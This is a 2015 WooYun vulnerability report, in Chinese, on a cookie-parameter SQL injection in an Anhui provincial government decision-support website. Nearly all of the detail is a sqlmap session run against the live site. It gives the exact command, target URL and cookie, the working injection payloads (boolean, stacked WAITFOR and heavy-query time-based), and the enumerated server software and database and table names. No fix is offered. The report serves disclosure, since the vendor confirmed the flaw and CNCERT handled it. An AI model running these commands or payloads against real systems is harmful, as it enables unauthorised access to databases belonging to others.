当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-099300

漏洞标题:决策支持网cookies注入漏洞

相关厂商:安徽省政府发展研究中心

漏洞作者: 泳少

提交时间:2015-03-04 14:36

修复时间:2015-04-18 14:36

公开时间:2015-04-18 14:36

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-04: 细节已通知厂商并且等待厂商处理中
2015-03-09: 厂商已经确认,细节仅向厂商公开
2015-03-19: 细节向核心白帽子及相关领域专家公开
2015-03-29: 细节向普通白帽子公开
2015-04-08: 细节向实习白帽子公开
2015-04-18: 细节向公众公开

简要描述:

其实为了wb不管小厂商什么的都好了。都要刷刷刷

详细说明:

root@ys:~# sqlmap -u "http://www.dss.gov.cn/Article_Print.asp" --cookie "ArticleID=69738" --level 3 --tables
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 19:39:52
[19:39:52] [INFO] testing connection to the target URL
[19:39:52] [INFO] testing if the target URL is stable. This can take a couple of seconds
[19:39:54] [INFO] target URL is stable
[19:39:54] [INFO] testing if Cookie parameter 'ArticleID' is dynamic
[19:39:54] [INFO] heuristics detected web page charset 'GB2312'
[19:39:54] [INFO] confirming that Cookie parameter 'ArticleID' is dynamic
[19:39:54] [WARNING] Cookie parameter 'ArticleID' does not appear dynamic
[19:39:54] [INFO] heuristic (basic) test shows that Cookie parameter 'ArticleID' might be injectable (possible DBMS: 'Microsoft SQL Server')
[19:39:54] [INFO] testing for SQL injection on Cookie parameter 'ArticleID'
heuristic (parsing) test showed that the back-end DBMS could be 'Microsoft SQL Server'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
do you want to include all tests for 'Microsoft SQL Server' extending provided level (3) and risk (1)? [Y/n] y
[19:39:57] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[19:39:59] [INFO] Cookie parameter 'ArticleID' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable
[19:39:59] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[19:39:59] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[19:39:59] [INFO] testing 'Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause'
[19:39:59] [INFO] testing 'Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause (IN)'
[19:40:00] [INFO] testing 'Microsoft SQL Server/Sybase error-based - Parameter replace'
[19:40:00] [INFO] testing 'Microsoft SQL Server/Sybase error-based - Parameter replace (integer column)'
[19:40:00] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[19:40:00] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[19:40:00] [WARNING] time-based comparison requires larger statistical model, please wait.......
[19:40:12] [INFO] Cookie parameter 'ArticleID' seems to be 'Microsoft SQL Server/Sybase stacked queries' injectable
[19:40:12] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[19:40:12] [INFO] testing 'Microsoft SQL Server/Sybase AND time-based blind (heavy query)'
[19:40:15] [INFO] Cookie parameter 'ArticleID' seems to be 'Microsoft SQL Server/Sybase AND time-based blind (heavy query)' injectable
[19:40:15] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[19:40:15] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[19:40:15] [WARNING] reflective value(s) found and filtering out
[19:40:15] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[19:40:16] [INFO] target URL appears to have 1 column in query
[19:40:16] [WARNING] if UNION based SQL injection is not detected, please consider and/or try to force the back-end DBMS (e.g. --dbms=mysql)
[19:40:16] [INFO] testing 'Generic UNION query (random number) - 1 to 20 columns'
[19:40:17] [INFO] testing 'Generic UNION query (NULL) - 22 to 40 columns'
[19:40:20] [INFO] target URL appears to be UNION injectable with 28 columns
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] Y
[19:40:41] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. --dbms=mysql)
[19:40:41] [INFO] testing 'Generic UNION query (71) - 42 to 60 columns'
Cookie parameter 'ArticleID' is vulnerable. Do you want to keep testing the otheY
[19:41:10] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
[19:41:10] [WARNING] User-Agent parameter 'User-Agent' does not appear dynamic
[19:41:10] [WARNING] heuristic (basic) test shows that User-Agent parameter 'User-Agent' might not be injectable
[19:41:10] [INFO] testing for SQL injection on User-Agent parameter 'User-Agent'
[19:41:10] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[19:41:31] [INFO] testing 'Generic boolean-based blind - Parameter replace (original value)'
[19:41:32] [INFO] testing 'Microsoft SQL Server/Sybase boolean-based blind - Parameter replace (original value)'
[19:41:33] [INFO] testing 'Generic boolean-based blind - GROUP BY and ORDER BY clauses'
[19:41:35] [INFO] testing 'Microsoft SQL Server/Sybase boolean-based blind - ORDER BY clause'
[19:41:37] [INFO] testing 'Microsoft SQL Server/Sybase stacked conditional-error blind queries'
[19:41:58] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[19:42:03] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[19:42:09] [INFO] testing 'Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause'
[19:42:16] [INFO] testing 'Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause (IN)'
[19:42:24] [INFO] testing 'Microsoft SQL Server/Sybase error-based - Parameter replace'
[19:42:25] [INFO] testing 'Microsoft SQL Server/Sybase error-based - Parameter replace (integer column)'
[19:42:25] [INFO] testing 'Microsoft SQL Server/Sybase error-based - ORDER BY clause'
[19:42:25] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[19:42:26] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[19:42:31] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[19:42:37] [INFO] testing 'Microsoft SQL Server/Sybase AND time-based blind (heavy query)'
[19:42:42] [INFO] testing 'Microsoft SQL Server/Sybase AND time-based blind (heavy query - comment)'
[19:42:48] [INFO] testing 'Microsoft SQL Server/Sybase OR time-based blind (heavy query)'
[19:42:54] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind - Parameter replace'
[19:42:55] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind - Parameter replace (heavy queries)'
[19:42:55] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind - ORDER BY clauses'
[19:42:56] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind - ORDER BY clause (heavy query)'
[19:42:57] [INFO] testing 'Generic UNION query (71) - 1 to 10 columns'
[19:42:57] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms'
[19:42:57] [WARNING] applying generic concatenation with double pipes ('||')
[19:43:09] [INFO] testing 'Generic UNION query (71) - 11 to 20 columns'
[19:44:10] [INFO] testing 'Generic UNION query (71) - 21 to 30 columns'
[19:45:11] [WARNING] User-Agent parameter 'User-Agent' is not injectable
sqlmap identified the following injection points with a total of 1038 HTTP(s) requests:
---
Place: Cookie
Parameter: ArticleID
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: ArticleID=69738 AND 1828=1828
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: ArticleID=69738; WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase AND time-based blind (heavy query)
Payload: ArticleID=69738 AND 2301=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7)
---
[19:45:11] [INFO] testing Microsoft SQL Server
[19:45:11] [INFO] confirming Microsoft SQL Server
[19:45:12] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2000
[19:45:12] [INFO] fetching database names
[19:45:12] [INFO] fetching number of databases
[19:45:12] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[19:45:12] [INFO] retrieved: 8
[19:45:13] [INFO] retrieved: chinadata
[19:45:29] [INFO] retrieved: chinadata2
[19:45:47] [INFO] retrieved: master
[19:45:59] [INFO] retrieved: model
[19:46:08] [INFO] retrieved: msdb
[19:46:16] [INFO] retrieved: Northwind
[19:46:35] [INFO] retrieved: pubs
[19:46:44] [INFO] retrieved: tempdb
[19:47:02] [INFO] fetching tables for databases: Northwind, chinadata, chinadata2, master, model, msdb, pubs, tempdb
[19:47:02] [INFO] fetching number of tables for database 'chinadata'
[19:47:02] [INFO] retrieved: 90
[19:47:05] [INFO] retrieved: as.User11
[19:47:23] [INFO] retrieved: as.User12
[19:47:29] [INFO] retrieved: as.UserGrade
[19:47:43] [INFO] retrieved: as.UserGrade^C
[19:47:47] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 111 times
[19:47:47] [ERROR] user aborted
[*] shutting down at 19:47:47
root@ys:~# sqlmap -u "http://www.dss.gov.cn/Article_Print.asp" --cookie "ArticleID=69738" --level 3 --dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 19:47:52
[19:47:52] [INFO] resuming back-end DBMS 'microsoft sql server'
[19:47:52] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: Cookie
Parameter: ArticleID
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: ArticleID=69738 AND 1828=1828
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: ArticleID=69738; WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase AND time-based blind (heavy query)
Payload: ArticleID=69738 AND 2301=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7)
---
[19:47:53] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2000
[19:47:53] [INFO] fetching database names
[19:47:53] [INFO] fetching number of databases
[19:47:53] [INFO] resumed: 8
[19:47:53] [INFO] resumed: chinadata
[19:47:53] [INFO] resumed: chinadata2
[19:47:53] [INFO] resumed: master
[19:47:53] [INFO] resumed: model
[19:47:53] [INFO] resumed: msdb
[19:47:53] [INFO] resumed: Northwind
[19:47:53] [INFO] resumed: pubs
[19:47:53] [INFO] resumed: tempdb
available databases [8]:
[*] chinadata
[*] chinadata2
[*] master
[*] model
[*] msdb
[*] Northwind
[*] pubs
[*] tempdb
[19:47:53] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/www.dss.gov.cn'
[*] shutting down at 19:47:53

漏洞证明:

available databases [8]:
[*] chinadata
[*] chinadata2
[*] master
[*] model
[*] msdb
[*] Northwind
[*] pubs
[*] tempdb

修复方案:

~~

版权声明:转载请注明来源 泳少@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-03-09 11:19

厂商回复:

CNVD确认所述情况,已经转由CNCERT下发给分中心,由其后续协调网站管理单位处置。

最新状态:

暂无